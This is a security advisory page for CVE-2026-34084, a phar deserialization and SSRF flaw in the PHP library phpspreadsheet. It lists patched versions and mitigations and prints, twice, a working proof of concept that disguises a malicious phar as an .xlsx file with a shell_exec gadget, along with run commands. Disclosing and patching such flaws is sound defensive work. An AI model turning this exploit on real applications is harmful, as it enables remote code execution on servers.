CVE-2026-34084: Phpoffice/phpspreadsheet :load When $filename Is User Vulnerability

CRITICAL
Advisory Identifier: GHSA-q4q6-r8wh-5cgh
CWE-502 CWE-918
Published
Advisory Summary

CVE-2026-34084 is a CRITICAL :load when $filename is user vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Phpoffice/phpspreadsheet libraries in the Packagist ecosystem. The issue involves :load when $filename is user controlled. Remediation is available by upgrading affected packages to version 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3.

CVE-2026-34084 at a Glance

CVE Identifier CVE-2026-34084
GHSA Identifier GHSA-q4q6-r8wh-5cgh
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Phpoffice/phpspreadsheet
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-34084

To remediate this vulnerability, upgrade all affected Phpoffice/phpspreadsheet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpoffice/phpspreadsheet fixed: 5.6.0
Upgrade phpoffice/phpspreadsheet to 5.6.0
phpoffice/phpspreadsheet fixed: 3.10.4
Upgrade phpoffice/phpspreadsheet to 3.10.4
phpoffice/phpspreadsheet fixed: 2.4.4
Upgrade phpoffice/phpspreadsheet to 2.4.4
phpoffice/phpspreadsheet fixed: 2.1.15
Upgrade phpoffice/phpspreadsheet to 2.1.15
phpoffice/phpspreadsheet fixed: 1.30.3
Upgrade phpoffice/phpspreadsheet to 1.30.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phpoffice/phpspreadsheet

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34084, inspect your project dependencies for Phpoffice/phpspreadsheet:

inspect dependencies for phpoffice/phpspreadsheet

Analyze the terminal output to locate any version of Phpoffice/phpspreadsheet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.6.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Phpoffice/phpspreadsheet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`. The 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below. This results in a SSRF, at "best", and RCE at worse. This was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`). ## PoC To reproduce the vulnerable behavior, the following scripts were used: `php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library: ```ini phar.readonly=0 ``` `make_phar.php` to create the malicious file: ```php <?php // php -c php.ini make_phar.php class GadgetClass { public $data; function __construct($d) { $this->data = $d; } function __destruct() { shell_exec($this->data); } } $pop = new GadgetClass('touch /tmp/poc.txt'); $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->addFromString('whatever', 'dummy content'); $phar->setMetadata($pop); $phar->stopBuffering(); rename('exploit.phar', 'exploit.xlsx'); // optional echo "exploit.xlsx created \n"; ``` `test.php` showcases the unsafe pattern: ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; class GadgetClass { public $data; function __construct($d) { $this->data = $d; } function __destruct() { shell_exec($this->data); } } $filename = $argv[1] ?? null; if (!$filename) { echo "Usage: php test.php <path>\n"; echo " e.g. php test.php phar://exploit.xlsx/whatever\n"; exit(1); } echo "Calling IOFactory::load('" . $filename . "')\n"; try { $spreadsheet = IOFactory::load($filename); var_dump($spreadsheet); } catch (Throwable $e) { echo "Vuln has still triggered even if exception triggers.\n"; } ``` ### RCE Run the PoC (for RCE): ```bash php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt ``` The file `/tmp/poc.txt` should now be present on disk. > Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead. ### SSRF Run the PoC (for SSRF): ```bash ncat -lvp 21 #run on another terminal php test.php ftp://127.0.0.1:21/test ``` Observe a connection is made to `127.0.0.1` on port `21`. ## Root Cause Analysis Following the API exposed by the library, using `IOFactory::load`, the code proceeds as follows: ```php IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) -> File::assertFile($filename, ...) -> is_file($filename); ``` The one obvious gadget that was found is guarded via `__unserialize` (or `__wakeup` in older versions) in the `XMLWriter` class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios. ```php public function __destruct() { // Unlink temporary files // There is nothing reasonable to do if unlink fails. if ($this->tempFileName != '') { @unlink($this->tempFileName); } } /** @param mixed[] $data */ public function __unserialize(array $data): void { $this->tempFileName = ''; throw new SpreadsheetException('Unserialize not permitted'); } ``` Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from [packagist ](https://packagist.org)like `maatwebsite/excel` for Laravel, `sonata-project/exporter` and so on, hence the deserialization vector stays relevant in other contexts. ## Suggested mitigations Use `is_file` only after making sure the filename does not contain any php wrapper: ```php $scheme = parse_url($filename, PHP_URL_SCHEME); // strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :) // since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge if ($scheme !== null && strlen($scheme) > 1) { throw new \PhpOffice\PhpSpreadsheet\Exception( "Stream wrappers are not permitted as file paths: {$filename}" ); } ``` or perhaps even just passing it to `realpath` before calling `is_file` to ensure it is parsed correctly: ```php $real = realpath($filename); // not php wrapper aware AFAIK if ($real === false) { throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}"); } // from here on, $real should be a clean absolute path so we can pass it to is_file() if (!is_file($real)) { throw new ... } ``` > Note: `stream_is_local()` would also not be safe here — as it considers `phar://` to be local and would not block it.

CVE-2026-34084 Affected Phpoffice/phpspreadsheet Versions

5 component(s)
Fixed Versions:
5.6.03.10.42.4.42.1.151.30.3
Product / Package Ecosystem Affected Versions Fixed Version
phpoffice/phpspreadsheet
Packagist
≥ 4.0.0
< 5.6.0
5.6.0
phpoffice/phpspreadsheet
Packagist
≥ 3.3.0
< 3.10.4
3.10.4
phpoffice/phpspreadsheet
Packagist
≥ 2.2.0
< 2.4.4
2.4.4
phpoffice/phpspreadsheet
Packagist
≥ 2.0.0
< 2.1.15
2.1.15
phpoffice/phpspreadsheet
Packagist
< 1.30.3
1.30.3

References

Frequently Asked Questions

What is CVE-2026-34084?
CVE-2026-34084 is a security vulnerability in Phpoffice/phpspreadsheet involving :load when $filename is user controlled under CWE-502: Deserialization of Untrusted Data.
Which Phpoffice/phpspreadsheet versions are affected?
Affected versions include releases prior to 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3 across affected packages: phpoffice/phpspreadsheet.
What version fixes CVE-2026-34084?
Upgrading to 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpoffice/phpspreadsheet affected?
Yes, phpoffice/phpspreadsheet is affected in releases prior to 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3. Upgrade your dependency to 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3 or later.
What CWE is associated with CVE-2026-34084?
CVE-2026-34084 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check Packagist dependencies for CVE-2026-34084?
Run the dependency tree command: 'inspect dependencies for phpoffice/phpspreadsheet'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q4q6-r8wh-5cgh",
  "modified" : "2026-05-08T15:29:26Z",
  "published" : "2026-04-29T20:22:30Z",
  "aliases" : [ "CVE-2026-34084" ],
  "summary" : "PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled",
  "details" : "The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\n<?php\n// php -c php.ini make_phar.php\nclass GadgetClass {\n    public $data;\n    function __construct($d) {\n        $this->data = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$phar->setStub('<?php __HALT_COMPILER(); ?>');\n$phar->addFromString('whatever', 'dummy content');\n$phar->setMetadata($pop);\n$phar->stopBuffering();\n\nrename('exploit.phar', 'exploit.xlsx'); // optional\necho \"exploit.xlsx created \\n\";\n\n```\n\n`test.php` showcases the unsafe pattern:\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\nclass GadgetClass {\n    public $data;\n    function __construct($d) {\n        $this->data = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$filename = $argv[1] ?? null;\n\nif (!$filename) {\n    echo \"Usage: php test.php <path>\\n\";\n    echo \"  e.g. php test.php phar://exploit.xlsx/whatever\\n\";\n    exit(1);\n}\n\necho \"Calling IOFactory::load('\" . $filename . \"')\\n\";\n\ntry {\n    $spreadsheet = IOFactory::load($filename);\n    var_dump($spreadsheet);\n} catch (Throwable $e) {\n    echo \"Vuln has still triggered even if exception triggers.\\n\";\n}\n\n\n```\n### RCE \nRun the PoC (for RCE):\n```bash\nphp -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt\n```\nThe file `/tmp/poc.txt` should now be present on disk.\n> Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could \"silently\" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead. \n\n### SSRF\nRun the PoC (for SSRF):\n```bash\nncat -lvp 21 #run on another terminal\nphp test.php ftp://127.0.0.1:21/test\n```\n\nObserve a connection is made to `127.0.0.1` on port `21`.\n\n\n\n## Root Cause Analysis \n\nFollowing the API exposed by the library, using `IOFactory::load`, the code proceeds as follows:\n```php\nIOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) ->  File::assertFile($filename, ...) -> is_file($filename);\n```\n\n\nThe one obvious gadget that was found is guarded via `__unserialize` (or `__wakeup` in older versions) in the `XMLWriter` class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create \"POP\" gadget chains via other classes which may be available in real-world deployment scenarios.\n\n```php\n    public function __destruct()\n    {\n        // Unlink temporary files\n        // There is nothing reasonable to do if unlink fails.\n        if ($this->tempFileName != '') {\n            @unlink($this->tempFileName);\n        }\n    }\n\n    /** @param mixed[] $data */\n    public function __unserialize(array $data): void\n    {\n        $this->tempFileName = '';\n\n        throw new SpreadsheetException('Unserialize not permitted');\n    }\n```\n\nPhpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from [packagist ](https://packagist.org)like `maatwebsite/excel` for Laravel, `sonata-project/exporter` and so on, hence the deserialization vector stays relevant in other contexts.\n\n## Suggested mitigations\n\nUse `is_file` only after making sure the filename does not contain any php wrapper:\n```php\n$scheme = parse_url($filename, PHP_URL_SCHEME);\n// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\\...), Windows quirks :)\n// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge\nif ($scheme !== null && strlen($scheme) > 1) {\n    throw new \\PhpOffice\\PhpSpreadsheet\\Exception(\n        \"Stream wrappers are not permitted as file paths: {$filename}\"\n    );\n}\n```\n\nor perhaps even just passing it to `realpath` before calling `is_file` to ensure it is parsed correctly:\n```php\n$real = realpath($filename); // not php wrapper aware AFAIK\nif ($real === false) {\n    throw new \\PhpOffice\\PhpSpreadsheet\\Exception(\"Invalid file path: {$filename}\");\n}\n\n// from here on, $real should be a clean absolute path so we can pass it to is_file()\nif (!is_file($real)) {\n    throw new ...\n}\n```\n\n> Note: `stream_is_local()` would also not be safe here — as it considers `phar://` to be local and would not block it.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "5.6.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.5.0"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.10.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.3"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.0"
      }, {
        "fixed" : "2.4.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.4.3"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.1.15"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.1.14"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.30.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.30.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-q4q6-r8wh-5cgh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34084"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet"
  }, {
    "type" : "WEB",
    "url" : "https://www.php.net/manual/en/wrappers.php"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502", "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-29T20:22:30Z",
    "nvd_published_at" : "2026-05-05T20:16:37Z"
  }
}